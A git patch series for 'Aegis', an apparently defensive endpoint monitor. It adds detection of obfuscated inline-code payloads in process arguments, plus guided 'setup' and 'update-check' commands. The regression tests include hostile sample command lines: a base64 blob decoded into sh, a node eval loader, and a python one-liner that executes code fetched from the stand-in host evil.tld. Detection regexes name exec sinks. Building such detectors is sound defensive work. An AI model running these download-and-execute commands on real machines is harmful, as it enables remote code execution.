@@ neutralize ] """ +import base64 import json import errno +import math import os import plistlib import re @@ -4192,6 +4194,138 @@ def check_processes(): "crontab-tmp-install", )) +# --------------------------------------------------------------------------- # +# Obfuscated inline-code payloads — the family-you-haven't-seen-yet catch. +# Every idiom above keys on a KNOWN hostile string; the same logic shipped +# base64-/base85-packed inside `bash -c` / `node -e` / `python3 -c` matches +# none of them. The hard-to-vary structural invariant is the SHAPE: an +# interpreter told to execute inline code (gate 1, mandatory) whose code +# argument is a long opaque blob or an in-process decode+execute composition +# (gate 2). Gate 1 keeps arbitrary processes out of entropy scoring — +# Electron helpers, JWTs and cloud CLIs legitimately carry giant opaque argv. +# --------------------------------------------------------------------------- # + +# Gate 1: interpreter + code-execution flag. Bounded interior runs throughout +# (the ReDoS discipline above); flag-skip loops are repetition-capped, never +# `*`. Shell `-c` accepts a cluster (`-lc`); the powershell alternation +# matches every `-e/-en/-enc/-EncodedCommand` prefix and `-c/-Command`, while +# `-ExecutionPolicy` (whose VALUE is not code) fails it and is skipped by the +# bounded gap instead. +_INLINE_CODE_FLAG_RES = ( + re.compile(r"(?:^|[\s/])(?:ba|z|da|k)?sh\s+" + r"(?:-{1,2}[\w-]{1,12}\s+){0,3}-[a-zA-Z]{0,8}c\s+", re.I), + re.compile(r"(?:^|[\s/])python[0-9.]{0,6}(?:\.exe)?\s+" + r"(?:-[a-zA-Z]{1,3}\s+){0,3}-c\s+", re.I), + re.compile(r"(?:^|[\s/])node(?:\.exe)?\s+" + r"(?:--?[\w-]{1,24}(?:=\S{0,64})?\s+){0,4}(?:-e|--eval)\s+", + re.I), + re.compile(r"(?:^|[\s/])(?:perl|ruby)[0-9.]{0,4}\s+" + r"(?:-[a-zA-Z0-9]{1,10}\s+){0,3}-[a-zA-Z]{0,4}e\s+", re.I), + re.compile(r"(?:^|[\s/])osascript\s+(?:-l\s+[\w.]{1,24}\s+)?-e\s+", re.I), + re.compile(r"(?:^|[\s/\\])(?:powershell|pwsh)(?:\.exe)?\s+[^\n]{0,200}?" + r"\s-(?:e(?:c|n[a-zA-Z]{0,12})?|c(?:ommand)?)\s+", re.I), +) + +# Gate 2a: >=100 chars of pure base64/base64url alphabet ('=' only as trailing +# padding, so a `VAR=` assignment cannot glue a low-entropy prefix onto +# the run). 100 is tuned to reality: a one-stage loader is rarely under ~75 +# raw bytes, while no flag value/version string/path on a measured live table +# reaches it with entropy to spare (see _BLOB_MIN_ENTROPY). +_B64_BLOB_RE = re.compile(r"[A-Za-z0-9+/_-]{100,}={0,2}") +# bits/char: random base64 ~5.8, base64-of-text ~5.3; the benign ceiling is +# camelCase flag values ~4.3, paths/English runs ~4.0. 4.5 splits the gap. +_BLOB_MIN_ENTROPY = 4.5 +# Gate 2b: in-process decode markers _hostile_content has no idiom for +# (python/ruby/perl; the JS half deliberately REUSES the supply-chain tables +# _PKG_JS_DECODE_RES below — same vectors, different surface). Shell-level +# `base64 -d` / FromBase64String are already idioms and stay theirs. +_ARGV_DECODE_RE = re.compile( + r"\b(?:base64\.(?:standard_|urlsafe_)?b(?:16|32|64|85)decode|b64decode|" + r"a2b_base64|bytes\.fromhex|codecs\.decode|Base64\.(?:urlsafe_)?decode64|" + r"decode_base64|unpack\s*\(\s*['\"]m)", re.I) +# The supply-chain Buffer.from regex bounds its interior run at 80 chars — +# right for a package script, but an argv blob IS the call's first argument +# and routinely exceeds it. Decoupled co-occurrence (Buffer.from + an encoding +# literal, both required) spans any blob length without an unbounded run. +_ARGV_JS_BUFFER_RE = re.compile(r"\bBuffer\.from\s*\(", re.I) +_ARGV_ENC_LITERAL_RE = re.compile(r"['\"](?:base64|hex)['\"]", re.I) +_ARGV_EXEC_MARK_RE = re.compile( + r"\b(?:exec|eval)\s*\(|\bnew\s+Function\s*\(|" + r"require\s*\(\s*['\"]child_process['\"]|\bos\.system\s*\(|" + r"\bsubprocess\b|\b__import__\s*\(|\bsystem\s*\(|" + r"\bInvoke-Expression\b|\bIEX\b", re.I) +# Exec sinks that RUN code (escalation set for a co-occurring blob): +# decode-only members excluded so `echo | base64 -d > file` — decode +# with no execution — cannot escalate itself. +_ARGV_EXEC_SINKS = _PIPE_EXEC_IDIOMS - frozenset( + ("base64-decode", "powershell-base64-decode")) + + +def _shannon_bits(s): + """Shannon entropy of `s` in bits/char (0.0 for empty).""" + if not s: + return 0.0 + n = float(len(s)) + ent = 0.0 + for c in set(s): + p = s.count(c) / n + ent -= p * math.log(p, 2) + return ent + + +def _b64_decodable(run): + """Does `run` actually base64-decode? Trimmed to a 4-multiple (a ps-joined + argv can shear trailing chars). A run is std-alphabet OR urlsafe, never + both: '+/' and '-_' mixed together decodes under no base64 flavor — and + that mix is exactly the shape of a high-entropy PATH (UUID/hash dirs mix + '/' separators with '-'), the one benign string class measured to clear + the entropy floor on a live process table.""" + head = run[:len(run) - len(run) % 4] + if not head: + return False + std = "+" in head or "/" in head + url = "-" in head or "_" in head + if std and url: + return False + try: + base64.b64decode(head, altchars=b"-_" if url else None, validate=True) + return True + except Exception: + return False + + +def _obfuscated_payload_signals(argv, idioms): + """[(name, severity)] for an interpreter running OBFUSCATED inline code + (`idioms` = this argv's _hostile_content hits, computed by the caller). + Gate 1 is mandatory: no code-execution flag, no scoring. Gate 2: the code + argument carries a long high-entropy base64-alphabet blob that really + decodes ("obfuscated-inline-payload"), or composes an in-process decode + with an exec call ("argv-encoded-loader" — the argv twin of the supply- + chain js-encoded-loader). MEDIUM alone, below the notify floor; HIGH only + when the argv also fetches, or the blob feeds a recognized exec sink.""" + starts = [m.end() for m in + (rx.search(argv) for rx in _INLINE_CODE_FLAG_RES) if m] + if not starts: + return [] + code = argv[min(starts):][:_HOSTILE_SCAN_LIMIT] + blob = any(_shannon_bits(run) >= _BLOB_MIN_ENTROPY and _b64_decodable(run) + for run in _B64_BLOB_RE.findall(code)) + loader = bool((_ARGV_DECODE_RE.search(code) + or any(rx.search(code) for rx, _n in _PKG_JS_DECODE_RES) + or (_ARGV_JS_BUFFER_RE.search(code) + and _ARGV_ENC_LITERAL_RE.search(code))) + and _ARGV_EXEC_MARK_RE.search(code)) + if not blob and not loader: + return [] + fetch = bool(idioms & _FETCH_IDIOMS) or bool(_FETCH_RE.search(argv)) + sev = "HIGH" if fetch or (blob and idioms & _ARGV_EXEC_SINKS) else "MEDIUM" + out = [] + if blob: + out.append(("obfuscated-inline-payload", sev)) + if loader: + out.append(("argv-encoded-loader", sev)) + return out + def _argv_signals(argv): """Return [(name, severity)] for hostile patterns in a live process's argv @@ -4219,6 +4353,13 @@ def add(name, sev): # never benign); the fetch/pipe idioms alone stay MEDIUM (benign-installer FP). for name in idioms: add(name, "HIGH" if name in _UNAMBIGUOUS_HIGH_IDIOMS else "MEDIUM") + # Obfuscated inline payload — skipped when powershell-encoded-command + # already fired: that idiom IS this shape on Windows and is already HIGH, + # so re-scoring the same blob would double-report one argv and + # destabilize its fingerprint. + if "powershell-encoded-command" not in idioms: + for name, sev in _obfuscated_payload_signals(argv, idioms): + add(name, sev) for rx, name in _ANTIVM_ARGV_RES: if rx.search(argv): add(name, "MEDIUM") diff --git a/tests/test_regression.py b/tests/test_regression.py index 4de7fad..d066cd7 100644 --- a/tests/test_regression.py +++ b/tests/test_regression.py @@ -10,7 +10,9 @@ Run: python3 -m unittest discover -s tests (from the repo root) or: python3 tests/test_regression.py """ +import base64 import contextlib +import hashlib import io import json import os @@ -1111,6 +1113,117 @@ def test_perl_regex_alternation_not_a_pipe(self): self.assertNotIn("pipe-to-interpreter", [n for n, _ in sigs], sigs) +# --------------------------------------------------------------------------- # +# N14b — obfuscated-payload argv tier: an interpreter's inline-code flag +# carrying an ENCODED payload the idiom tables have never seen. Gate 1 +# (interpreter + code-exec flag) is mandatory so arbitrary processes — Electron +# helpers, JWTs, cloud CLIs with giant opaque argv — are structurally out of +# scope; gate 2 is a long high-entropy base64-alphabet blob that really +# decodes, or an in-process decode+execute composition. MEDIUM alone (below +# the notify floor, corroboration fodder); HIGH only when the same argv also +# carries a fetch or feeds the blob into a recognized exec sink. +# --------------------------------------------------------------------------- # +class TestObfuscatedArgvPayload(Sandbox): + # Deterministic pseudo-random payload: 160 bytes -> 216 base64 chars, + # entropy ~5.8 bits/char, decodes. os.urandom would test the same thing + # non-reproducibly. + BLOB = base64.b64encode(b"".join( + hashlib.sha256(bytes([i])).digest() for i in range(5))).decode() + + def _sigs(self, argv): + return dict(aegis._argv_signals(argv)) + + def test_bash_c_blob_piped_to_sh_is_high(self): + # decode a >=100-char embedded blob straight into `sh` — the packed + # variant of the fileless pipeline; the blob feeds a recognized exec + # sink, so it is notify-grade even with no fetch in sight. + sigs = self._sigs('bash -c "echo %s | base64 -d | sh"' % self.BLOB) + self.assertEqual(sigs.get("obfuscated-inline-payload"), "HIGH", sigs) + + def test_bash_c_bare_blob_is_medium_below_notify(self): + # blob with NO fetch and NO exec sink: recorded corroboration only. + sigs = self._sigs('bash -c "echo %s > /tmp/staged"' % self.BLOB) + self.assertEqual(sigs.get("obfuscated-inline-payload"), "MEDIUM", sigs) + top = max(aegis.SEV_ORDER[s] for s in sigs.values()) + self.assertLess(top, aegis.SEV_ORDER["HIGH"], sigs) + + def test_node_eval_buffer_short_blob_is_loader_medium(self): + # the HexEval shape with a blob too short for the entropy gate: the + # decode+execute COMPOSITION is the signal (argv twin of the supply- + # chain js-encoded-loader), still below the notify floor alone. + sigs = self._sigs( + "node -e eval(Buffer.from('%s','base64').toString())" + % self.BLOB[:60]) + self.assertEqual(sigs.get("argv-encoded-loader"), "MEDIUM", sigs) + + def test_running_node_encoded_loader_process_fires(self): + # a RUNNING same-user node process carrying the full loader argv must + # produce a behavior finding through the real check_behavior path. + real = self._saved["check_behavior"] + argv = ("/usr/local/bin/node -e " + "eval(Buffer.from('%s','base64').toString())" % self.BLOB) + fake = [("4242", aegis._own_owner(), "/usr/local/bin/node", argv)] + saved = aegis._iter_processes + aegis._iter_processes = lambda: iter(fake) + try: + fs = real() + finally: + aegis._iter_processes = saved + hits = [f for f in fs if f["category"] == "behavior" + and "argv-encoded-loader" in f.get("markers", ())] + self.assertTrue(hits, fs) + # full-length blob + eval() exec sink -> notify-grade. + self.assertEqual(hits[0]["severity"], "HIGH", hits) + + def test_fetch_plus_decode_is_high(self): + sigs = self._sigs( + 'python3 -c "import urllib.request,base64;' + "exec(base64.b64decode(urllib.request.urlopen(" + "'https://evil.tld/p').read()))\"") + self.assertEqual(sigs.get("argv-encoded-loader"), "HIGH", sigs) + + def test_powershell_enc_yields_single_strongest_signal(self): + # `-enc ` is already the powershell-encoded-command idiom (HIGH, + # unambiguous): one argv, one strongest signal — the obfuscation tier + # must not double-report the same blob. + sigs = self._sigs("powershell -NoProfile -enc %s" % self.BLOB) + self.assertEqual(sigs.get("powershell-encoded-command"), "HIGH", sigs) + self.assertNotIn("obfuscated-inline-payload", sigs, sigs) + + def test_plain_python_oneliner_is_silent(self): + self.assertEqual(aegis._argv_signals('python3 -c "print(1+1)"'), []) + + def test_long_low_entropy_english_arg_is_silent(self): + arg = "pleasewaitwhilewedownloadyourpackagesandrebuildthecaches" * 4 + sigs = self._sigs('bash -c "echo %s"' % arg) + self.assertNotIn("obfuscated-inline-payload", sigs, sigs) + + def test_uuid_path_run_is_not_a_blob(self): + # Found on the real process table: a harness `bash -c` whose argv + # embeds a long tmp path with hex-UUID segments clears the entropy + # floor (measured 4.84). The structural tell is the alphabet mix — + # '/' (std base64) together with '-' (base64url) decodes under no + # base64 flavor, so a path can never pass _b64_decodable. + path = ("/private/tmp/claude-501/-Users-charlie-Documents-Work---" + "Projects/b2b95d18-f83a-481f-bced-b3bb7799cea0/scratchpad/" + "run-4ac5698e761166b1da2a57cc80e/out") + sigs = self._sigs('bash -c "python3 %s 2>/dev/null || true"' % path) + self.assertNotIn("obfuscated-inline-payload", sigs, sigs) + + def test_electron_giant_flags_structurally_unscored(self): + # no code-exec flag -> gate 1 never opens, whatever the arg entropy. + argv = ("/Applications/Chat.app/Contents/Frameworks/Chat Helper " + "(Renderer).app/Contents/MacOS/Chat Helper (Renderer) " + "--type=renderer --enable-features=WebRTCPipeWireCapturer " + "--service-request-token=%s" % self.BLOB) + self.assertEqual(aegis._argv_signals(argv), []) + + def test_opaque_cli_token_unscored(self): + # cloud CLIs legitimately pass giant opaque args; no inline-code flag. + self.assertEqual(aegis._argv_signals( + "aws s3 cp --sse-customer-key %s s3://bkt/key ./f" % self.BLOB), []) + + # --------------------------------------------------------------------------- # # N15 — check_behavior: same-user filtering + never flags Aegis itself. # --------------------------------------------------------------------------- # From 3b92895c71b2e3ff539fa44a1339c8f6c71f8eba Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 08:29:36 -0700 Subject: [PATCH 06/11] feat(aegis): `setup` walkthrough for the dormant opt-in tiers + `update-check` runtime-copy drift detection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two commands that fix activation and staleness: - `aegis.py setup` — guided, idempotent walkthrough of the opt-in tiers (monitor, canary, latch, decoys [POSIX-only, silent on Windows], guard, watchdog pairing, off-host heartbeat URL). One benefit-and-cost sentence each, default No; a yes ORCHESTRATES the existing cmd_* directly, never a second implementation. Already-enabled tiers are detected from the same state the status/scan paths read, shown as [enabled], and skipped. Refuses a non-tty caller before touching any state (UX refusal, stated as distinct from unlatch's out-of-band security gate, which setup never consumes). Ends with a one-screen posture summary. rootwatch/intel are probed from the module at runtime — no merge dependency on sibling branches. - `aegis.py update-check [--remote]` — the runtime copy at ~/.aegis/aegis.py silently stales behind the repo (the README warned; nothing detected it). sha256-compares the invoked file vs RUNTIME_SCRIPT: drift → exit 1 with the exact shell-quoted refresh command (preserving the recorded install mode so the paste never downgrades watch→scan); in sync / not installed → exit 0; unhashable → honest unknown, exit 1. `--remote` fetches the canonical GitHub raw aegis.py derived from `git remote get-url origin` (config-file fallback where git is off run()'s restricted PATH), states the exact URL, sends nothing about the machine, and lazy-imports urllib inside the flag branch only — the `vt` pattern; the scan path stays structurally offline. cmd_doctor now surfaces runtime-copy drift as a DEGRADED problem, because doctor is where rot surfaces. Tests-first (tests/test_setup_updatecheck.py, 18 tests, fail-before captured on unmodified HEAD: 16 errors + 2 failures): non-tty refusal with byte-and-mtime-identical sandbox; all-No walkthrough mutates nothing; yes-to-canary leaves exactly the artifacts cmd_canary leaves; second run reports [enabled] and re-runs nothing; heartbeat URL paste stored (and non-http paste refused); setup never reaches authorize_interactive; drift/in-sync/not-installed exit codes; refresh line preserves watch mode; doctor drift line; stubbed urlopen proves --remote fetches exactly the stated URL once, plain update-check makes zero network calls, and the urllib import is lazy. Full suite: 689 tests OK (3 skips normal; 671 on the unmodified base + 18 new). Verified live on the reference machine: real drift detected against the actual ~/.aegis copy with a pasteable quoted refresh line, and a real --remote fetch against the GitHub origin. Co-Authored-By: Claude Fable 5 --- README.md | 10 + aegis.py | 365 +++++++++++++++++++++++++++++ tests/test_setup_updatecheck.py | 403 ++++++++++++++++++++++++++++++++ 3 files changed, 778 insertions(+) create mode 100644 tests/test_setup_updatecheck.py diff --git a/README.md b/README.md index 164c66d..6444818 100644 --- a/README.md +++ b/README.md @@ -176,6 +176,16 @@ python3 aegis.py install 1800 # ...every 30 minutes python3 aegis.py install watch # change-driven + 600s full-scan floor python3 aegis.py uninstall # remove the registration, keep evidence +python3 aegis.py setup # guided, idempotent walkthrough of the + # OPT-IN tiers (canary/latch/decoys/ + # guard/heartbeat — the strongest + # defenses are dormant until you say + # yes; enabled tiers are skipped) +python3 aegis.py update-check # is ~/.aegis/aegis.py stale behind this + # file? drift → exit 1 + the exact + # refresh command (--remote: by-hand + # compare against GitHub raw too) + # On macOS `bash install.sh [watch] [interval]` remains available and does the # same thing; `aegis.py install` is the cross-platform equivalent. ``` diff --git a/aegis.py b/aegis.py index d9bb21a..7ca32c5 100755 --- a/aegis.py +++ b/aegis.py @@ -9887,6 +9887,24 @@ def cmd_doctor(): ("✓" if state_mode == 0o700 else "?", state_mode)) if state_mode != 0o700: problems.append("state permissions") + # Runtime-copy drift is rot, and doctor is where rot surfaces: the + # background monitor executes ~/.aegis/aegis.py, not this file, so a stale + # copy means every scheduled scan silently runs OLD code. + rt = _runtime_copy_status() + if rt == "drift": + print(" ✗ runtime copy STALE — refresh: %s" + % _refresh_line()) + problems.append("runtime copy stale") + elif rt == "unknown": + print(" ? runtime copy could not be hashed " + "(unknown, not clean)") + problems.append("runtime copy unknown") + elif rt == "in-sync": + print(" ✓ runtime copy in sync with this file") + elif rt == "self": + print(" ✓ runtime copy running the installed copy") + else: + print(" · runtime copy not installed (manual runs only)") for path in (os.path.join(HOME, "Downloads"), os.path.join(HOME, "Desktop")): try: iterator = os.scandir(path) @@ -13834,6 +13852,342 @@ def cmd_uninstall(): return 0 +# --------------------------------------------------------------------------- # +# update-check — the runtime copy silently stales behind the repo. +# +# `install` copies aegis.py to ~/.aegis/aegis.py and schedules THAT copy (the +# TCC reasoning is above _install_runtime_copy). The README warns "re-run +# install after editing aegis.py", but a warning nobody re-reads is not a +# control: every repo edit silently forks this file from what the background +# monitor actually executes. This makes the drift detectable — by hand here, +# and on every `doctor` run, where rot is supposed to surface. +# --------------------------------------------------------------------------- # + +def _runtime_copy_status(): + """Compare the INVOKED aegis.py against the installed runtime copy. + + Returns 'not-installed' (no runtime copy), 'self' (this IS the runtime + copy — nothing independent to compare), 'in-sync', 'drift', or 'unknown' + (hashing failed; never reported as clean).""" + src = os.path.realpath(_SELF_PATH) + if not os.path.exists(RUNTIME_SCRIPT): + return "not-installed" + if os.path.realpath(RUNTIME_SCRIPT) == src: + return "self" + a, b = sha256(src), sha256(RUNTIME_SCRIPT) + if not a or not b: + return "unknown" + return "in-sync" if a == b else "drift" + + +def _refresh_line(): + """The exact command that refreshes the runtime copy — preserving the + recorded install mode, so pasting it never silently downgrades a + watch-mode install to scan mode. Quoted for pasting as-is: the reference + machine's repo path contains both spaces and '&'.""" + mode = load_json(SELFSTATE, {}).get("install_mode") + py = sys.executable or "python3" + src = os.path.realpath(_SELF_PATH) + pair = ('"%s" "%s"' % (py, src) if IS_WIN + else "%s %s" % (shlex.quote(py), shlex.quote(src))) + return "%s install%s" % (pair, " watch" if mode == "watch" else "") + + +def _git_origin_url(repo_dir): + """`git remote get-url origin` for repo_dir, falling back to reading the + config file directly where git is not on run()'s restricted PATH + (Windows). One level of `gitdir:` indirection (worktrees) is followed.""" + out, _e, rc = run(["git", "-C", repo_dir, "remote", "get-url", "origin"], + timeout=15) + if rc == 0 and (out or "").strip(): + return (out or "").strip().splitlines()[0].strip() + gd = os.path.join(repo_dir, ".git") + try: + if os.path.isfile(gd): + with open(gd, encoding="utf-8") as f: + head = f.read().strip() + if not head.startswith("gitdir:"): + return None + gd = os.path.normpath(os.path.join( + repo_dir, head.split(":", 1)[1].strip())) + common = os.path.join(gd, "commondir") + if os.path.isfile(common): + with open(common, encoding="utf-8") as f: + gd = os.path.normpath(os.path.join(gd, f.read().strip())) + section = None + with open(os.path.join(gd, "config"), encoding="utf-8") as f: + for line in f: + s = line.strip() + if s.startswith("["): + section = s.lower() + elif (section == '[remote "origin"]' + and s.lower().startswith("url")): + _k, sep, v = s.partition("=") + if sep: + return v.strip() + except Exception: + pass + return None + + +def _github_raw_url(): + """Canonical GitHub raw URL for THIS file, derived from the invoked + checkout's `origin` remote. None when there is no GitHub origin — the + remote check refuses to guess a URL.""" + origin = _git_origin_url(os.path.dirname(os.path.realpath(_SELF_PATH))) + m = re.search(r"github\.com[:/]([\w.-]+)/([\w.-]+?)(?:\.git)?/?$", + origin or "") + if not m: + return None + return ("https://raw.githubusercontent.com/%s/%s/HEAD/aegis.py" + % (m.group(1), m.group(2))) + + +def cmd_update_check(remote=False): + """Is the installed runtime copy stale behind the invoked aegis.py? + Drift → exit 1 with the exact refresh command; in sync or not installed → + exit 0. `--remote` additionally compares this file against the repo's + canonical GitHub raw copy — a BY-HAND network call (lazy urllib, the `vt` + pattern); the scan path never reaches this code.""" + status = _runtime_copy_status() + rc = 0 + if status == "not-installed": + print("No runtime copy installed at %s — nothing to drift " + "(`aegis.py install` registers the background monitor)." + % RUNTIME_SCRIPT) + elif status == "self": + print("This IS the installed runtime copy (%s); run update-check " + "from the repo checkout to compare the two." % RUNTIME_SCRIPT) + elif status == "in-sync": + print("Runtime copy is in sync: %s matches this file (sha256)." + % RUNTIME_SCRIPT) + elif status == "unknown": + print("Could not hash both copies — drift is UNKNOWN, not clean " + "(check permissions on %s)." % RUNTIME_SCRIPT) + rc = 1 + else: # drift + print("STALE: %s does not match this file — the background monitor " + "is running OLD code.\nRefresh it:\n %s" + % (RUNTIME_SCRIPT, _refresh_line())) + rc = 1 + if not remote: + return rc + url = _github_raw_url() + if not url: + print("\n--remote: no GitHub `origin` remote found for %s — remote " + "comparison skipped rather than guessed." + % os.path.dirname(os.path.realpath(_SELF_PATH))) + return rc or 2 + print("\n--remote: fetching %s\n(the canonical copy of this file; that " + "URL is the ONLY request made, and nothing about this machine is " + "sent)" % url) + import urllib.request # lazy: only this by-hand flag branch loads networking + try: + with urllib.request.urlopen(url, timeout=20) as resp: + data = resp.read() + except Exception as e: + print("--remote: fetch failed (%s) — remote comparison is unknown, " + "not clean." % e) + return rc or 2 + local = sha256(os.path.realpath(_SELF_PATH)) + if local and hashlib.sha256(data).hexdigest() == local: + print("--remote: this file matches the GitHub HEAD copy.") + return rc + print("--remote: this file DIFFERS from the GitHub HEAD copy — local " + "edits, or the repo moved ahead (`git pull` in the checkout, then " + "re-run install).") + return 1 + + +# --------------------------------------------------------------------------- # +# setup — guided walkthrough of the OPT-IN tiers. +# +# The strongest defenses in this file (canary, latch, decoys, guard, the +# watchdog pairing, the off-host heartbeat) are opt-in and therefore DORMANT +# on most installs — a documented tier nobody turned on protects nobody. +# `setup` walks them once: one honest sentence of benefit-and-cost each, +# default No. It ORCHESTRATES the existing commands and never reimplements +# one — a yes runs exactly what typing the individual command would have run, +# so there is no second code path to drift. Idempotent: a tier already on is +# detected from the same state the status/scan paths read, shown as enabled, +# and skipped. +# --------------------------------------------------------------------------- # + +def _setup_stdio_is_interactive(): + """setup's tty gate, split out so the suite can drive the walkthrough with + a scripted harness. This is a UX refusal (a walkthrough nobody is reading + is cron-log noise), NOT a security gate: everything setup can invoke is an + ordinary by-hand command a script could already call directly. The gate + that must resist automation (`unlatch`) keeps its own out-of-band + challenge regardless of how it is reached.""" + try: + return sys.stdin.isatty() and sys.stdout.isatty() + except Exception: + return False + + +def _ask_yn(question): + """One y/n prompt, default No; EOF/interrupt is No (opt-IN means opt-in).""" + try: + return input("%s [y/N] " % question).strip().lower() in ("y", "yes") + except (EOFError, KeyboardInterrupt): + print() + return False + + +def _ask_line(prompt): + try: + return input(prompt).strip() + except (EOFError, KeyboardInterrupt): + print() + return "" + + +def cmd_setup(): + """Guided, idempotent walkthrough of the opt-in tiers (block comment + above). Refuses a non-tty caller with the same posture as unlatch.""" + if not _setup_stdio_is_interactive(): + print("refuse: setup is an interactive walkthrough and needs a real " + "terminal — run it from a shell, not a script.") + return 1 + ensure_state() + print("# Aegis setup — the opt-in tiers, one honest question each.\n" + "# Everything below is OFF by default and stays off unless you say " + "yes;\n# each yes runs exactly the command you could type yourself, " + "nothing more.\n") + + st = load_json(SELFSTATE, {}) + if st.get("installed"): + print("[enabled] background monitor — installed (%s mode)." + % (st.get("install_mode") or "scan")) + else: + print("Background monitor: registers a scheduled `scan` for this OS " + "(launchd / systemd --user / Task Scheduler); costs one " + "background job and a few seconds of CPU per interval.") + if _ask_yn(" install the background monitor?"): + watch = _ask_yn(" use watch mode (change-driven; rescans within " + "seconds of a file touch, full scan as a floor)?") + mode = "watch" if watch else "scan" + raw = _ask_line(" full-scan interval in seconds [default %d]: " + % (600 if watch else 3600)) + cmd_install(mode, int(raw) if raw.isdigit() else None) + + if load_json(CANARY_STATE, {}): + print("[enabled] canary files — planted " + "(`aegis.py canary remove` removes them).") + else: + print("Canary files: hidden tripwires in your user dirs whose " + "modification or deletion alerts CRITICAL (a near-zero-false-" + "positive ransomware signal); costs a few hidden files.") + if _ask_yn(" plant canary files?"): + cmd_canary("plant") + + if load_json(LATCH_FILE, {}): + print("[enabled] latch — persistence surfaces are pre-claimed " + "(`aegis.py latch status`).") + else: + print("Latch: pre-claims the persistence surfaces so a dropper's " + "write FAILS (%s); costs running `aegis.py unlatch ` " + "before a legitimate installer may write there." + % ("chflags uchg" if IS_MAC else "a deny-write ACE" if IS_WIN + else "a mode change — a labelled speed bump on Linux")) + if _ask_yn(" latch the persistence surfaces?"): + cmd_latch("on") + + # Decoys are a POSIX FIFO mechanism; on Windows the surface is absent + # (not degraded), so the walkthrough says nothing about it there. + if hasattr(os, "mkfifo"): + if load_json(DECOY_FILE, {}): + print("[enabled] decoys — FIFO honeytokens planted " + "(`aegis.py decoy remove` removes them).") + else: + print("Decoys: FIFO honeytokens at credential-shaped paths " + "(~/.aws, ~/.ssh) where ANY read is an attacker by " + "construction; costs three fake dotfiles.") + if _ask_yn(" plant credential decoys?"): + cmd_decoy("plant") + + if os.path.isfile(_guard_paths()[0]): + print("[enabled] guard — installed (observe-only; `aegis.py guard " + "status` shows what it has seen).") + else: + print("Guard: an OBSERVE-ONLY pre-exec hook that learns pasted-vs-" + "typed from your shell's bracketed paste (the ClickFix shape); " + "costs one line you add to your rc file yourself — it refuses " + "nothing and Aegis never edits your rc.") + if _ask_yn(" write the guard hook files?"): + cmd_guard("install") + + # Explained, not performed: a watchdog the monitor registers for itself + # dies with it, which is precisely the failure it exists to see. + print("\nDead-man's switch: schedule `aegis.py watchdog` from a SECOND, " + "independent agent/cron/task so a killed or booted-out monitor " + "raises an alarm. Aegis will not register its own watchdog — one " + "that dies with its monitor is theater.") + + if _heartbeat_url(): + print("[enabled] off-host heartbeat — configured (the one background " + "egress; a small redacted beat per healthy scan).") + else: + print("Off-host heartbeat: the ONE background egress, OFF by default " + "— given a URL you control, every healthy scan POSTs a small " + "redacted liveness beat there, so silence leaves the box even " + "when every local sink is being suppressed.") + if _ask_yn(" configure a heartbeat URL?"): + url = _ask_line(" URL to POST the beat to (https://…): ") + if url.startswith(("http://", "https://")): + cfg = _aegis_config() + cfg = cfg if isinstance(cfg, dict) else {} + cfg["heartbeat_url"] = url + save_json(AEGIS_CONFIG, cfg) + print(" saved heartbeat_url to %s." % AEGIS_CONFIG) + elif url: + print(" not saved: %r is not an http(s) URL." % url) + + # Tiers that exist only on some builds: probe the module at runtime and + # point at them, so this walkthrough never depends on a sibling branch. + for fn, pointer in (("cmd_rootwatch", "rootwatch — `aegis.py rootwatch`"), + ("cmd_intel", "intel — `aegis.py intel`")): + if callable(globals().get(fn)): + print("Also available on this build: %s." % pointer) + + _setup_summary() + return 0 + + +def _setup_summary(): + """One-screen posture summary, read from the same state the tier + detections above use — never from what this run happened to answer.""" + st = load_json(SELFSTATE, {}) + canaries = load_json(CANARY_STATE, {}) + latches = load_json(LATCH_FILE, {}) + rows = [ + ("background monitor", + "on (%s mode)" % (st.get("install_mode") or "scan") + if st.get("installed") else "off — aegis.py install"), + ("canary files", "on (%d planted)" % len(canaries) if canaries + else "off — aegis.py canary"), + ("latch", "on (%d surfaces)" % len(latches) if latches + else "off — aegis.py latch on"), + ] + if hasattr(os, "mkfifo"): + decoys = load_json(DECOY_FILE, {}) + rows.append(("decoys", "on (%d planted)" % len(decoys) if decoys + else "off — aegis.py decoy plant")) + rows.append(("guard", "on (observe-only)" + if os.path.isfile(_guard_paths()[0]) + else "off — aegis.py guard install")) + rows.append(("off-host heartbeat", + "on" if _heartbeat_url() else "off (local-only)")) + rows.append(("watchdog pairing", + "run `aegis.py watchdog` from a second agent/cron/task")) + print("\n# Posture after setup") + for name, val in rows: + print(" %-22s %s" % (name, val)) + print("\nFull posture any time: aegis.py status " + "(coverage: aegis.py doctor)") + + def cmd_watchdog(): """Dead-man's-switch check: is the monitor still beating? Meant to be run by a SECOND launchd agent or cron (the unprivileged mutual-watchdog), or by an @@ -14733,6 +15087,13 @@ def cmd_guard(action="status", rest=None): Default: a scan every 3600s; `watch` = change-driven monitoring with a [secs] full-scan floor (default 600) uninstall remove that registration (local evidence is kept) + setup guided, idempotent walkthrough of the OPT-IN tiers (monitor, + canary, latch, decoys, guard, watchdog pairing, heartbeat); + default No everywhere, already-enabled tiers are skipped + update-check is the installed runtime copy (~/.aegis/aegis.py) stale + behind this file? drift -> exit 1 + the exact refresh + command; --remote also compares against the repo's GitHub + raw copy (by hand only — the scan path stays offline) DETECT (default; runs on the scheduled interval, never destructive) scan run all checks once; update report; alert on new HIGH+ @@ -14948,6 +15309,10 @@ def main(argv): return cmd_install(mode, secs) if cmd == "uninstall": return cmd_uninstall() + if cmd == "setup": + return cmd_setup() + if cmd == "update-check": + return cmd_update_check(remote=("--remote" in argv[2:])) if cmd == "watchdog": return cmd_watchdog() if cmd == "bastion": diff --git a/tests/test_setup_updatecheck.py b/tests/test_setup_updatecheck.py new file mode 100644 index 0000000..ae3f766 --- /dev/null +++ b/tests/test_setup_updatecheck.py @@ -0,0 +1,403 @@ +#!/usr/bin/env python3 +"""Regression suite for `setup` (the guided opt-in walkthrough) and +`update-check` (runtime-copy drift detection). + +Same contract as the rest of the suite: stdlib only, fully sandboxed (every +~/.aegis path is redirected into a per-test tmp dir), never fires a +notification, never makes a network call (urlopen is stubbed), and never +touches the developer's real state. + +Each test is named for the property it pins and would FAIL against code that +did not have it. The two properties that matter most: + +- `setup` ORCHESTRATES the existing commands — a yes to canary must produce + exactly what `aegis.py canary` produces, proven on the artifacts (the + planted file and its recorded hash), not on a print string. 